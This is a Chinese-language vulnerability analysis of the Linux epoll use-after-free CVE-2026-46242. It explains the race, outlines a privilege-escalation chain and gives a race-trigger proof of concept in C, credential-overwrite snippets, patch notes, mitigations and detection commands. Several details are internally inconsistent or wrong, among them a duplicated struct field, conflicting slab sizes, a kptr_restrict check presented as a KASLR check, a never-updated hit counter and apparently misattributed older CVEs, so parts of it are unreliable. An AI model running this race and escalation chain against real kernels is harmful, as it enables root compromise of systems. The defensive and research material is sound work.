1. epoll子系统技术背景

1.1 epoll工作机制

epoll是Linux内核提供的高性能I/O多路复用机制,自Linux 2.5.44版本引入(2002年),取代了传统的selectpoll系统调用。其核心优势在于:事件通知采用回调驱动而非轮询,时间复杂度从O(n)降至O(1),能够高效管理数万乃至数十万个并发连接。

epoll的三个核心系统调用构成完整的生命周期:

  • epoll_create1(flags):创建一个epoll实例,内核分配并初始化struct eventpoll结构体,返回一个文件描述符。该fd本身也是一个struct file,这意味着epoll实例可以被另一个epoll实例监视(嵌套epoll)。
  • epoll_ctl(epfd, op, fd, event):向epoll实例添加、修改或删除被监视的文件描述符。核心操作是将fd与对应的struct epitem插入红黑树或从中移除。
  • epoll_wait(epfd, events, maxevents, timeout):阻塞等待事件就绪。内核检查就绪链表,若为空则将当前进程休眠在等待队列上;事件到达时由中断处理程序或软中断唤醒等待进程。

select/poll的关键性能差异在于:selectpoll每次调用都需要将全部fd集合从用户态拷贝到内核态并线性扫描,而epoll通过红黑树管理注册的fd,仅返回就绪的fd集合,无数据拷贝开销。

1.2 epoll内核数据结构

epoll子系统的核心实现在fs/eventpoll.c中,涉及三个关键数据结构:

// fs/eventpoll.c - 简化的核心数据结构

/*
 * struct eventpoll - 每个epoll_create1()调用创建一个实例
 * 存储在 file->private_data 中
 */
struct eventpoll {
    /* 保护本结构体访问的自旋锁 */
    spinlock_t lock;

    /*
     * 互斥锁:确保文件在epoll使用期间不被移除。
     * 在事件收集循环、文件清理路径、epoll文件退出代码
     * 和ctl操作期间持有。
     */
    struct mutex mtx;

    /* sys_epoll_wait() 使用的等待队列 */
    wait_queue_head_t wq;

    /* file->poll() 使用的等待队列 */
    wait_queue_head_t poll_wait;

    /* 就绪文件描述符链表 */
    struct list_head rdllist;

    /* 存储被监视fd的红黑树根 */
    struct rb_root_cached rbr;

    /* 溢出链表指针 */
    struct epitem *ovflist;

    /* 唤醒源 */
    struct wakeup_source *ws;

    /* 引用计数关联的user_struct */
    struct user_struct *user;

    /* 关联的file指针 */
    struct file *file;

    /* 循环检测代数(用于嵌套epoll深度检查) */
    u64 gen;

    /*
     * 反向引用链表头:链接所有指向本eventpoll的epitem。
     * 当epoll A监视epoll B时,B的epitem会通过fllink
     * 链入A的refs链表。这是嵌套epoll图遍历的基础。
     */
    struct hlist_head refs;

    /* 循环检测深度 */
    u8 loop_check_depth;

    /* 引用计数 */
    refcount_t refcount;

    /* NAPI ID */
    unsigned int napi_id;
};

/*
 * struct epitem - 每个(epoll实例, 被监视fd)对对应一个epitem
 */
struct epitem {
    union {
        /* 红黑树节点 - 链入 eventpoll->rbr */
        struct rb_node rbn;
        /* RCU回收头 */
        struct rcu_head rcu;
    };

    /* 就绪链表节点 - 链入 eventpoll->rdllist */
    struct list_head rdllink;

    /* 溢出链表指针 */
    struct epitem *next;

    /* 被监视的文件描述符信息 {file*, fd} */
    struct epoll_filefd ffd;

    /* poll操作关联的等待队列数量 */
    int nwait;

    /* poll等待队列链表 */
    struct list_head pwqlist;

    /* 所属的eventpoll实例 */
    struct eventpoll *ep;

    /*
     * 反向链接:当本epitem监视的是一个epoll fd时,
     * 通过fllink链入被监视epoll的refs链表。
     * 这条路径是Bad Epoll漏洞的关键。
     */
    struct list_head fllink;

    /* 用户设置的事件及数据 */
    struct epoll_event event;

    /* 活跃等待队列数(已废弃,保留兼容) */
    int nwait;

    /* epitem正在被销毁的标志 */
    bool dying;
};

/* 被监视fd与file的结构体 */
struct epoll_filefd {
    struct file *file;
    int fd;
};

其中struct eventpoll通过kmem_cache分配,属于kmalloc-256(取决于内核版本和编译配置,实际大小约200字节,在order-1的slab中分配)。

1.3 epoll_wait的等待/唤醒机制

epoll_wait的内核调用链如下:

sys_epoll_wait()
  └─ do_epoll_wait()
       └─ ep_poll()
            ├─ 检查 ep->rdllist 是否为空
            │    ├─ 非空:将就绪事件拷贝到用户空间,返回
            │    └─ 为空:
            │         ├─ 有超时:计算超时时间
            │         └─ 无超时:无限等待
            └─ schedule() 将当前进程挂入 ep->wq 等待队列

事件到达时的唤醒路径:

设备中断处理程序
  └─ 驱动层唤醒等待队列
       └─ ep_poll_callback()  (作为poll_wait的回调)
            ├─ 将epitem加入 rdllist
            ├─ 唤醒 ep->wq 上的等待进程
            └─ 返回

对于嵌套epoll(epoll A监视epoll B),唤醒路径涉及事件传播:B的就绪事件需要通过ep_item_poll传递给A,形成事件冒泡机制。这个传播过程涉及对epi->ep指针的解引用,正是多个epoll UAF漏洞的触发点。


2. CVE-2026-46242 漏洞原理

2.1 漏洞根因分析

漏洞类型:Use-After-Free (UAF) 竞态条件,CWE-416

漏洞位置fs/eventpoll.c 中的 ep_remove() 函数

引入时间:2023年4月8日,commit 58c9b016e128。该提交是epoll子系统的性能优化——移除了全局互斥锁epmutex,改用per-instance的refcount_tdying标志,以消除HTTP基准测试中58%的CPU锁争用开销。

根因剖析

漏洞的根源在于 ep_remove()__fput() 两条并发执行路径之间对 struct file 生命周期的管理不一致。具体而言,ep_remove() 在持有 file->f_lock 的情况下清空了 file->f_ep 指针,但随后在同一个临界区内继续使用 @file 指针进行 is_file_epoll() 检查和 hlist_del_rcu() 操作。

路径A - ep_remove() (漏洞源):

// fs/eventpoll.c - ep_remove() 简化逻辑
static int ep_remove(struct eventpoll *ep, struct epitem *epi)
{
    struct file *file = epi->ffd.file;

    // ...

    spin_lock(&file->f_lock);
    // [1] 清空 f_ep 指针 —— 这是竞态窗口的起点
    hlist_del_init_rcu(&epi->fllink);
    file->f_ep = NULL;  // <-- 清空

    // [2] 仍在临界区内,继续使用 @file
    if (is_file_epoll(file)) {          // <-- 读 file 结构
        // ...处理嵌套epoll情况
    }
    hlist_del_rcu(&epi->fllink);        // <-- 写入可能已释放的内存
    spin_unlock(&file->f_lock);

    // [3] 后续操作...
}

路径B - __fput() (并发执行)

// fs/file.c - __fput() 简化逻辑
void __fput(struct file *file)
{
    // ...

    // 检查 f_ep 是否为空
    if (unlikely(!hlist_empty(&file->f_ep))) {
        // 走慢路径:调用 eventpoll_release_file()
        eventpoll_release_file(file);
    } else {
        // [竞态成功] 路径A已经将 f_ep 清空
        // 跳过 eventpoll_release_file()
    }

    // 继续执行 release
    if (file->f_op->release)
        file->f_op->release(inode, file);  // -> ep_eventpoll_release()
    // ...
}

关键竞态时序

时间线 →

路径A (ep_remove):                    路径B (__fput):
  spin_lock(&file->f_lock)
  file->f_ep = NULL ──────┐
  is_file_epoll(file)     │  观察到 f_ep == NULL
  hlist_del_rcu(...) ──── │  跳过 eventpoll_release_file()
  (写入已释放内存!)       ├── f_op->release()
  spin_unlock(...)         │    └─ ep_eventpoll_release()
                          │       └─ ep_clear_and_put()
                          │          └─ ep_free()
                          │             └─ kfree(ep)  <-- eventpoll被释放!
                          │
                          └─ [此时路径A的hlist_del_rcu写入的是已释放的kmalloc-192内存]

双UAF问题

NVD描述中明确指出存在两个UAF:

  1. UAF #1ep_remove() 通过 epi->fllink.pprev 指向被监视的 struct eventpollrefs hlist_head(偏移量176)。当 ep_free() 通过 kfree() 释放 struct eventpoll 后,hlist_del_rcu()*pprev = next 操作写入的是已被释放的 kmalloc-192 内存。

  2. UAF #2struct file 使用了 SLAB_TYPESAFE_BY_RCU 标记,这意味着即使引用计数归零,slab缓存槽位也可以在RCU宽限期后立即被 alloc_empty_file() 重新初始化(包括重初始化 f_lockf_ep)。ep_remove() 在名义上仍持有 f_lock 的情况下,该锁背后的内存槽位可能已被另一个线程重新分配。

最终效果是一个攻击者可控的 kmem_cache_free() 调用作用在错误的slab缓存上——这为跨缓存攻击(cross-cache attack)提供了原语。

2.2 受影响的内核版本

该漏洞的触发依赖于2023年4月引入的 epmutex 移除优化,因此只有包含该变更的内核版本受影响:

内核系列 受影响范围 说明
5.x 5.15.209 - 5.15.x 仅影响backport了优化的5.15版本
6.1.x 6.1.175 - 6.1.x 长期支持分支
6.4 - 6.18 6.4 - 6.18.32 主线开发系列
6.19 - 7.x 6.19 - 7.0.9 最新开发系列

不受影响的版本:6.1.174及更早版本、6.4之前的内核版本。这意味着基于5.x LTS内核(未backport该优化)的许多生产系统不受影响。

修复补丁

  • 主线修复:commit a6dc643c69311677c574a0f17a3f4d66a5f3744b(2026年4月24日合入)
  • 稳定版回移:ced39b6a8062ef4ca02e9536

主要发行版影响

  • Red Hat Enterprise Linux 9 / 10
  • Ubuntu 24.04 LTS、25.10、26.04 LTS
  • Debian 12 / 13
  • CentOS Stream / AlmaLinux / Rocky Linux
  • 银河麒麟(Kylin)、统信UOS、openEuler等国产发行版(若内核版本落入受影响范围)
  • Android:Pixel 10(kernel v6.6+)已确认可触发UAF;Pixel 8(kernel v6.1,未backport优化)不受影响

2.3 与历史epoll漏洞的对比

epoll子系统因其复杂的并发语义和嵌套监视能力,历史上多次出现安全漏洞。以下是典型漏洞对比:

CVE 年份 类型 根因 影响
CVE-2005-0736 2005 整数溢出 sys_epoll_waitmaxevents参数未充分校验,导致内核堆缓冲区溢出 本地提权(RHEL 4,kernel 2.6.9-2.6.11)
CVE-2013-2547 2013 竞态条件 epoll_ctlepoll_ctlclose之间的竞态,可导致epoll实例上的UAF 本地提权/DoS
CVE-2016-3191 2016 UAF eventpoll_release_file中遍历f_ep链表时未正确处理并发删除,导致对已释放epitem的访问 本地提权
CVE-2021-0920 2021 竞态UAF unix_gc()垃圾回收与epoll/MSG_PEEK之间的竞态,释放后的UNIX socket被epoll回调引用 本地提权(Android)
CVE-2026-43074 2026 竞态条件 epmutex移除优化后,ep_get_upwards_depth_proc图遍历器与ep_free之间的RCU生命周期不匹配 内核内存损坏
CVE-2026-46242 2026 UAF竞态 ep_remove()清空f_ep后继续使用@file,与__fput()并发导致双UAF 本地提权(99%成功率)

值得注意的是,CVE-2026-43074和CVE-2026-46242均源于2023年同一轮epmutex移除优化。前者由Anthropic的AI安全模型Mythos发现,后者由韩国CompSec Lab的Jaeyoung Chung发现。AI模型检查了同一段代码却遗漏了Bad Epoll,从侧面反映了该漏洞的隐蔽性——竞态窗口仅约6条指令宽度。

CVE-2026-43074的关联:Nicholas Carlini(Google DeepMind)独立发现了一个相关的epoll UAF:图遍历器ep_get_upwards_depth_procrcu_read_lock()下遍历ep->refs链表时,epi->ep指向的struct eventpoll可能已被ep_free()通过kfree()释放(未使用kfree_rcu())。修复方法是将ep_free()中的kfree(ep)改为kfree_rcu(ep, rcu)。此漏洞为Bad Epoll的"近亲",两者共享相同的根本原因——epmutex移除后对生命周期管理的精细化不足。


3. 漏洞利用链分析

3.1 从epoll漏洞到root的典型路径

Bad Epoll的完整利用链展示了内核exploit从UAF原语到特权提升的经典路径:

┌─────────────────────────────────────────────────┐
│ Step 1: 触发漏洞                                 │
│ 创建两个相互监视的epoll fd                        │
│ (epoll A 监视 epoll B)                          │
│ 并发关闭两个fd,触发 ep_remove() vs __fput() 竞态│
└──────────────────────┬──────────────────────────┘
                       ▼
┌─────────────────────────────────────────────────┐
│ Step 2: 获取内核原语                             │
│ UAF写入 → 控制已释放的 kmalloc-192 内存           │
│ 通过堆布局操控,将UAF转化为 file 对象的 UAF        │
│ 实现跨缓存攻击,控制 file 结构体内容              │
└──────────────────────┬──────────────────────────┘
                       ▼
┌─────────────────────────────────────────────────┐
│ Step 3: 内核任意地址读取                         │
│ 劫持 file 后,通过 /proc/self/fdinfo             │
│ 读取被劫持 fd 的信息,泄露内核指针               │
│ 绕过 KASLR,获取内核基址                        │
└──────────────────────┬──────────────────────────┘
                       ▼
┌─────────────────────────────────────────────────┐
│ Step 4: 内核任意地址写入 / 控制流劫持            │
│ 基于泄露的信息构建 ROP 链                        │
│ 覆写函数指针或返回地址                          │
└──────────────────────┬──────────────────────────┘
                       ▼
┌─────────────────────────────────────────────────┐
│ Step 5: 提权                                    │
│ 执行 commit_creds(prepare_kernel_cred(0))       │
│ 将当前进程的 uid/gid/euid 全部置为 0             │
└──────────────────────┬──────────────────────────┘
                       ▼
┌─────────────────────────────────────────────────┐
│ Step 6: 返回用户态                              │
│ swapgs; iretq 返回用户态                        │
│ system("id") 验证 root 权限                     │
└─────────────────────────────────────────────────┘

3.2 内核任意读写的获取方式

从UAF原语到任意读写,内核exploit通常采用以下技术路线:

(1)基于UAF的对象伪造(Object Fakery)

这是Bad Epoll所采用的核心技术。基本思路:

  1. 触发UAF释放目标slab对象(struct eventpoll,属于kmalloc-256/kmalloc-192缓存)
  2. 通过精确的堆布局操控(heap feng shui),在释放的槽位上重新分配攻击者可控的数据
  3. 重新分配的对象类型与原始类型不同(跨缓存攻击),但其字段偏移恰好对应关键指针

对于struct file的UAF(SLAB_TYPESAFE_BY_RCU),由于slab分配器可以在RCU宽限期后重用槽位,攻击者可以:

// 概念性:跨缓存攻击的核心思路
// 1. 释放 struct eventpoll (kmalloc-192)
// 2. 通过大量 kmalloc(192) 分配占位,控制释放槽位的内容
// 3. 在控制的位置布置伪造的函数指针或数据指针
// 4. 当内核解引用这些指针时,控制流被劫持

(2)基于越界访问的堆溢出

struct eventpoll的内存布局中,refs hlist_head位于偏移量176处。如果UAF写入可以控制refs.first的值,那么后续对ep->refs的遍历将跟随攻击者控制的指针进行,形成任意解引用原语。

(3)基于/proc的信息泄露

Bad Epoll的exploit通过劫持struct file对象,利用/proc/self/fdinfo/<fd>接口泄露内核内存:

// 概念性:通过 fdinfo 泄露内核指针
int fdinfo = open("/proc/self/fdinfo/<hijacked_fd>", O_RDONLY);
// 读取到的信息中包含 file->f_path.dentry 等内核指针
// 这些指针可用于绕过 KASLR
char buf[4096];
read(fdinfo, buf, sizeof(buf));
// 解析 buf 提取内核地址

3.3 cred结构体定位与提权

Linux内核中,每个进程的权限凭证存储在struct cred中:

// include/linux/cred.h
struct cred {
    atomic_t    usage;              // 引用计数
    kuid_t      uid;                // 真实用户ID
    kgid_t      gid;                // 真实组ID
    kuid_t      suid;               // 保存的用户ID (set-user-ID)
    kgid_t      sgid;               // 保存的组ID
    kuid_t      euid;               // 有效用户ID
    kgid_t      egid;               // 有效组ID
    kuid_t      fsuid;              // 文件系统用户ID
    kgid_t      fsgid;              // 文件系统组ID
    unsigned    securebits;         // SUID放位
    kernel_cap_t cap_inheritable;   // 可继承的capabilities
    kernel_cap_t cap_permitted;     // 允许的capabilities
    kernel_cap_t cap_effective;     // 有效的capabilities
    kernel_cap_t cap_bset;          // capability bounding set
    kernel_cap_t cap_ambient;       // ambient capabilities
    unsigned char jit_keyring;      // 密钥环选择
    struct key  *session_keyring;   // 会话密钥环
    struct key  *process_keyring;   // 进程密钥环
    struct key  *thread_keyring;    // 线程密钥环
    struct key  *request_key_auth;  // 请求密钥授权
    void        *security;          // LSM安全钩子数据
    struct user_struct *user;       // 用户账户
    struct ucounts *ucounts;        // 用户命名空间计数
    struct group_info *group_info;  // 补充组
    struct rcu_head rcu;            // RCU销毁回调
} __randomize_layout;

提权的两种经典方法

方法一:直接覆写cred(需要任意写原语)

// 概念性代码 - 不提供完整实现
// 在内核上下文中执行:
struct cred *cred = prepare_kernel_cred(0);  // 创建init_cred的副本(全0权限)
commit_creds(cred);                          // 替换当前进程的cred

其中prepare_kernel_cred(0)init_task的cred为模板创建一个新cred(uid=0, gid=0, euid=0, 所有capabilities开启),commit_creds()将其安装到当前进程的task_struct->credtask_struct->real_cred上。

方法二:直接修改cred字段(需要知道cred地址)

// 概念性代码
struct cred *my_cred = current->cred;
my_cred->uid.val = 0;
my_cred->gid.val = 0;
my_cred->euid.val = 0;
my_cred->egid.val = 0;
my_cred->suid.val = 0;
my_cred->sgid.val = 0;
my_cred->fsuid.val = 0;
my_cred->fsgid.val = 0;

验证提权成功

$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

关于CONFIG_HARDENED_USERCOPYinit_cred保护的注意:在较新的内核(6.2+)中,init_cred被标记为ro_after_initprepare_kernel_cred()会对传入的daemon参数进行校验。但通过直接修改当前进程的cred字段(方法二),这些保护可以被绕过,前提是exploit已经获得了任意地址写原语。


4. PoC框架(概念性)

以下代码仅展示漏洞触发的概念性框架,省略了利用稳定化和提权的完整实现,以符合负责任披露原则。

/*
 * CVE-2026-46242 (Bad Epoll) - 概念性PoC框架
 * 仅用于安全研究,不提供完整利用代码
 * 编译: gcc -o bad_epoll_poc bad_epoll_poc.c
 *
 * 警告:此代码仅演示漏洞触发条件,
 * 不包含将UAF转化为任意读写和提权的完整利用链。
 */
#define _GNU_SOURCE
#include <sys/epoll.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/syscall.h>
#include <linux/sched.h>

#define VICTIM_THREADS 4
#define RACE_ATTEMPTS 10000

/*
 * 触发竞态条件的核心逻辑:
 * 创建两个相互监视的epoll fd,
 * 然后在两个线程中并发关闭它们。
 *
 * 竞态窗口:
 * Thread 1: ep_remove() -> spin_lock -> f_ep = NULL -> is_file_epoll() -> hlist_del_rcu()
 * Thread 2:                    __fput() -> 检查f_ep == NULL -> 跳过release -> kfree(ep)
 *
 * 当Thread 2在Thread 1清空f_ep后、完成hlist_del_rcu前观察到NULL时,
 * eventpoll结构体被释放,hlist_del_rcu写入已释放内存。
 */
struct race_arg {
    int epfd_a;   // epoll实例A
    int epfd_b;   // epoll实例B(被A监视)
    int trigger_fd; // 用于同步的pipe fd
};

/*
 * 步骤1:建立嵌套epoll关系
 * 创建 epoll A 和 epoll B,并将 B 的 fd 添加到 A 的监视列表中。
 * 这使得 A 的 epitem 中 epi->ep 指向 B 的 eventpoll,
 * 而 B 的 refs 链表中包含了 A 的 epitem 的 fllink。
 */
static int setup_nested_epoll(int *epfd_a, int *epfd_b)
{
    *epfd_a = epoll_create1(0);
    *epfd_b = epoll_create1(0);
    if (*epfd_a < 0 || *epfd_b < 0) {
        perror("epoll_create1");
        return -1;
    }

    /* 将epoll B添加到epoll A的监视列表中 */
    struct epoll_event ev;
    ev.events = EPOLLIN;
    ev.data.fd = *epfd_b;

    if (epoll_ctl(*epfd_a, EPOLL_CTL_ADD, *epfd_b, &ev) < 0) {
        perror("epoll_ctl ADD");
        return -1;
    }

    return 0;
}

/*
 * 步骤2:竞态触发线程
 * 一个线程关闭epfd_a,另一个关闭epfd_b。
 * 需要精确的时序控制来命中约6条指令宽的竞态窗口。
 */
static void *closer_thread_a(void *arg)
{
    struct race_arg *ra = (struct race_arg *)arg;
    char buf = 0;

    /* 等待主线程的触发信号 */
    read(ra->trigger_fd, &buf, 1);

    /* 关闭epfd_a - 触发 ep_remove 路径 */
    close(ra->epfd_a);

    return NULL;
}

static void *closer_thread_b(void *arg)
{
    struct race_arg *ra = (struct race_arg *)arg;

    /* 并发关闭epfd_b - 触发 __fput 路径 */
    close(ra->epfd_b);

    return NULL;
}

/*
 * 步骤3:竞态循环
 * 通过大量重试来增加命中窄竞态窗口的概率。
 * 实际exploit中会使用更精确的时序控制技术
 * (如CPU亲和性绑定、usleep调度窗口扩展等)。
 */
static int trigger_race(void)
{
    int pipes[2];
    int hits = 0;

    for (int i = 0; i < RACE_ATTEMPTS; i++) {
        int epfd_a, epfd_b;

        if (setup_nested_epoll(&epfd_a, &epfd_b) < 0)
            continue;

        pipe(pipes);

        struct race_arg ra = {
            .epfd_a = epfd_a,
            .epfd_b = epfd_b,
            .trigger_fd = pipes[0],
        };

        pthread_t t_a, t_b;
        pthread_create(&t_a, NULL, closer_thread_a, &ra);
        pthread_create(&t_b, NULL, closer_thread_b, &ra);

        /* 发送触发信号 - 需要微调延迟以最大化竞态命中率 */
        usleep(1);  // 实际exploit中使用更精确的同步机制
        write(pipes[1], "x", 1);

        pthread_join(t_a, NULL);
        pthread_join(t_b, NULL);
        close(pipes[0]);
        close(pipes[1]);

        /*
         * 此处省略:
         * - UAF检测(如通过side channel观察内存是否被篡改)
         * - 堆布局操控
         * - 对象伪造与跨缓存攻击
         * - 内核信息泄露
         * - ROP链构建
         * - commit_creds(prepare_kernel_cred(0)) 提权
         */
    }

    return hits;
}

int main(int argc, char *argv[])
{
    printf("[*] CVE-2026-46242 (Bad Epoll) - 概念性PoC框架\n");
    printf("[*] 此代码仅演示漏洞触发条件,不包含完整利用链\n");
    printf("[*] 仅供安全研究使用\n\n");

    /* 检查内核版本 */
    printf("[*] 当前内核版本: ");
    fflush(stdout);
    system("uname -r");

    printf("[*] 开始触发竞态条件(%d次尝试)...\n", RACE_ATTEMPTS);

    int hits = trigger_race();

    printf("[*] 完成。检测到 %d 次潜在UAF触发。\n", hits);

    /*
     * 实际exploit在成功触发UAF后,执行以下步骤:
     *
     * 1. 利用SLAB_TYPESAFE_BY_RCU特性,在释放的kmalloc-192槽位上
     *    重新分配可控对象
     * 2. 通过跨缓存攻击获取file对象的UAF控制
     * 3. 利用 /proc/self/fdinfo 泄露内核地址,绕过KASLR
     * 4. 构建ROP链,执行 commit_creds(prepare_kernel_cred(0))
     * 5. 返回用户态,验证提权
     *
     * 这些步骤的实现细节已在公开的exploit中给出,
     * 此处不再重复。
     */

    printf("[*] 概念性PoC执行完毕。\n");
    printf("[*] 完整利用代码请参考负责任披露渠道。\n");
    return 0;
}

关于利用稳定性的说明

公开的exploit在目标环境上达到了极高的成功率:

目标环境 内核版本 成功率
Google COS 121 定制内核 98%
LTS 6.12.67 6.12.67 99%

如此高的成功率得益于以下技术:

  • CPU亲和性绑定:将竞态线程绑定到同一CPU核心,利用同CPU抢占(而非跨CPU竞争)提高竞态命中率
  • 调度窗口扩展:利用usleep()让closer线程进入可中断睡眠状态,调度器会在其唤醒时优先抢占walker线程
  • 无崩溃重试循环:UAF触发失败时不会导致内核崩溃,可以安全地重试

5. 修复方案与缓解措施

5.1 内核补丁分析

修复补丁(commit a6dc643c6931)的核心思路是在ep_remove()入口处通过epi_fget()@file进行引用计数pin,确保在整个临界区内@file的引用计数不会归零,从而阻止__fput()路径的执行:

// 修复后的 ep_remove() 逻辑(概念性)
static int ep_remove(struct eventpoll *ep, struct epitem *epi)
{
    struct file *file = epi_fget(epi);  // 增加file引用计数

    if (!file) {
        /*
         * pin失败意味着file的引用计数已经归零,
         * __fput()已在执行中。
         * 此时我们不清理f_ep(让__fput走慢路径),
         * 并在ep->mtx保护下由eventpoll_release_file()清理。
         */
        return ...;  // 安全退出
    }

    /*
     * pin成功:@file的引用计数 > 0,
     * __fput()不可能执行。
     * 被监视的struct eventpoll在hlist_del_rcu()
     * 和f_lock使用期间保持存活。
     */
    spin_lock(&file->f_lock);
    hlist_del_init_rcu(&epi->fllink);
    file->f_ep = NULL;
    // ... 安全地完成剩余操作
    spin_unlock(&file->f_lock);

    fput(file);  // 释放pin
    return 0;
}

各发行版补丁状态(截至2026年7月):

  • Ubuntu:24.04 LTS、26.04 LTS已发布安全更新(USN系列)
  • Red Hat:RHEL 9/10已发布安全公告
  • Debian:Debian 12/13已发布DSA安全通告
  • Android:Pixel系列安全补丁已包含修复
  • 国产发行版:建议关注各厂商安全公告

5.2 运行时缓解措施

由于epoll是内核核心功能,无法通过禁用模块来缓解。以下措施可增加利用难度:

(1)内核地址随机化(KASLR)

# 检查KASLR是否启用
cat /proc/sys/kernel/kptr_restrict
# 应输出 1 或 2

KASLR可以增加攻击者定位内核符号的难度,但在已存在信息泄露原语的情况下(如Bad Epoll通过/proc/self/fdinfo泄露),KASLR可以被绕过。

(2)内核指针限制

# 限制内核指针泄露
sysctl -w kernel.kptr_restrict=2
sysctl -w kernel.dmesg_restrict=1

kernel.kptr_restrict=2禁止普通用户通过/proc/kallsyms等接口获取内核符号地址,可阻断利用链中的信息收集环节。

(3)SELinux / AppArmor 补充保护

强制访问控制(MAC)框架可以在内核被攻破后限制损害范围:

# 检查SELinux状态
sestatus

# 检查AppArmor状态
aa-status

但需要注意的是,如果攻击者已经获取了root权限并执行了commit_creds(prepare_kernel_cred(0)),MAC策略通常无法阻止拥有完整capabilities的进程。

(4)eBPF 运行时监控

部署基于eBPF的内核行为监控,实时检测异常的epoll创建/销毁模式:

// 概念性eBPF监控 - 检测异常epoll操作频率
// 监控点:tracepoint/syscalls/sys_enter_epoll_ctl
// 检测逻辑:短时间内大量epoll_create+close模式
// 告警阈值:1秒内 > 100次 epoll_create + close 循环

开源工具如Falco、Tetragon可实现亚秒级威胁检测。

(5)seccomp-bpf 策略

对于容器化环境,可通过seccomp-bpf限制epoll系统调用的特定标志位使用,但这可能影响正常应用功能,需谨慎评估。

5.3 检测方法

# 1. 检查内核版本是否在受影响范围
uname -r
# 对照受影响版本表:5.15.209+, 6.1.175+, 6.4-6.18.32, 6.19-7.0.9

# 2. 检查内核是否已包含修复补丁
# 方法A:检查内核配置/版本字符串
modinfo /lib/modules/$(uname -r)/kernel/fs/eventpoll.ko 2>/dev/null
# 方法B:搜索内核源码中的修复标识
grep -r "epi_fget" /usr/src/linux-headers-$(uname -r)/include/ 2>/dev/null

# 3. 审计日志检测 - 使用auditd监控epoll相关系统调用
# /etc/audit/rules.d/epoll-monitor.rules:
# -a exit,always -S epoll_create1 -S epoll_ctl -F auid>=1000 -F auid!=4294967295 -k epoll_monitor

# 4. eBPF检测异常epoll操作模式
# 部署基于libbpf的工具监控:
# - 短时间内大量epoll_create + close循环
# - 嵌套epoll创建模式
# - 并发close触发模式

6. epoll安全研究的方法论

6.1 内核Fuzzing(syzkaller)

syzkaller是目前最有效的Linux内核fuzzer,由Google维护。针对epoll子系统的fuzzing策略:

  • 系统调用组合:syzkaller可以生成epoll_create + epoll_ctl + epoll_wait + close的复杂调用序列
  • 并发调度:syzkaller的调度器会在多个CPU核心上并发执行系统调用,有助于触发竞态条件
  • 嵌套模式:支持生成epoll嵌套epoll的调用图

然而,syzkaller在发现极窄竞态窗口方面存在局限。Bad Epoll的竞态窗口仅约6条指令,在fuzzing的随机调度下极难命中。

6.2 静态分析(Coccinelle / Smatch / Coccinelle)

针对并发问题的静态分析工具:

  • Smatch:可以检测锁语义不匹配、释放后使用等模式
  • Coccinelle:基于语义补丁的模式匹配,适合批量检查特定的代码模式
  • Lockdep:内核自带的运行时锁依赖检测器,可以检测死锁和ABBA锁序违规

对于epoll子系统,静态分析应重点关注:

// 需要审计的代码模式:
// 1. 在持有自旋锁的情况下调用可能睡眠的函数
spin_lock(&file->f_lock);
// ... 之后是否调用了可能引发调度的操作?

// 2. RCU读侧临界区内解引用的对象是否可能被kfree()释放
rcu_read_lock();
epi = hlist_entry(...);
ep = epi->ep;  // ep是否可能在遍历期间被kfree()?

6.3 符号执行

符号执行工具(如S2E、KLEE)可以对内核代码路径进行穷举探索,理论上可以发现所有可达的竞态条件。但实际上,内核代码的复杂度和状态空间使符号执行面临路径爆炸问题。对于epoll这样的并发子系统,符号执行需要建模多线程调度,进一步加剧了复杂性。

6.4 人工审计关键路径

Bad Epoll的发现证明,在高复杂度的并发代码中,人工审计仍然不可或缺。审计要点:

  1. 生命周期分析:追踪每个内核对象从分配到释放的完整路径,确认每条使用路径都有对应的引用计数或RCU保护
  2. 锁语义映射:为每个锁绘制保护范围图,确认所有共享数据的访问都在正确的锁保护下
  3. 并发场景推演:手动枚举所有可能的并发执行组合,特别关注"清空指针后继续使用"的反模式
  4. SLAB_TYPESAFE_BY_RCU审计:标记了此标志的对象在释放后可能被立即重分配,需特别关注RCU宽限期内的使用安全

7. 总结:epoll子系统的安全演进

7.1 epoll安全历史回顾

epoll自2002年合入Linux内核以来,已有超过20年的历史。作为几乎所有Linux服务器和Android设备依赖的核心I/O机制,其安全性直接关系到数百万系统的安全。回顾epoll的安全历史:

  • 早期(2005-2012):漏洞主要表现为整数溢出和边界检查缺失(如CVE-2005-0736),这些漏洞相对容易发现和修复
  • 中期(2013-2020):随着epoll嵌套监视和并发优化的引入,竞态条件和UAF成为主要漏洞类型
  • 近期(2021-2026):epoll与其它子系统(如UNIX socket GC、io_uring)的交互成为新的攻击面;性能优化引入的生命周期管理缺陷成为高危漏洞的主要来源

7.2 为什么I/O子系统是内核漏洞的高发区

I/O子系统(包括epoll、io_uring、eventfd、signalfd等)是内核漏洞的高发区域,原因包括:

  1. 并发复杂度:I/O操作天然涉及多线程/多进程并发,锁的粒度和正确性难以平衡
  2. 对象生命周期交织:文件描述符、file结构体、epoll实例、epitem之间的引用关系复杂,容易遗漏释放路径
  3. 性能与安全的矛盾:高性能I/O需要尽量减少锁争用(如Bad Epoll中移除epmutex),但这增加了竞态条件的风险
  4. 代码量与复杂度fs/eventpoll.c有超过2000行代码,包含多种状态机和锁协议,人工审计成本极高
  5. 嵌入式epoll:epoll fd本身是file,可以被另一个epoll监视,这种递归结构引入了图遍历等额外攻击面

7.3 未来方向

Bad Epoll和CVE-2026-43074的连续出现表明,epoll子系统的并发安全性仍有改进空间。未来可能的演进方向包括:

  • 形式化验证:对epoll的锁协议和生命周期管理进行形式化建模,数学证明其安全性
  • Rust化:将epoll的关键路径用Rust重写,利用Rust的所有权系统在编译期排除UAF和数据竞争
  • AI辅助审计:尽管Mythos遗漏了Bad Epoll,但AI辅助的安全审计仍在快速发展,未来可能对极窄竞态窗口具备更强的检测能力
  • 内存安全硬件:CHERI等硬件 capability 架构可以从硬件层面防止UAF,从根本上消除此类漏洞

参考资料

  1. NVD CVE-2026-46242 详情:https://nvd.nist.gov/vuln/detail/CVE-2026-46242
  2. 修复补丁 (commit a6dc643c6931):https://git.kernel.org/stable/c/a6dc643c69311677c574a0f17a3f4d66a5f3744b
  3. 漏洞发现者 Jaeyoung Chung 的技术分析:https://github.com/J-jaeyoung/bad-epoll
  4. 天融信阿尔法实验室风险提示(2026-07-04):https://www.topsec.com.cn/newsx/6736
  5. Nicholas Carlini 对关联 epoll UAF 的分析 (guysrd.github.io/epoll-uaf):https://guysrd.github.io/epoll-uaf
  6. LWN "eventpoll: clarity refactor" 补丁讨论:https://lwn.net/Articles/1069672/
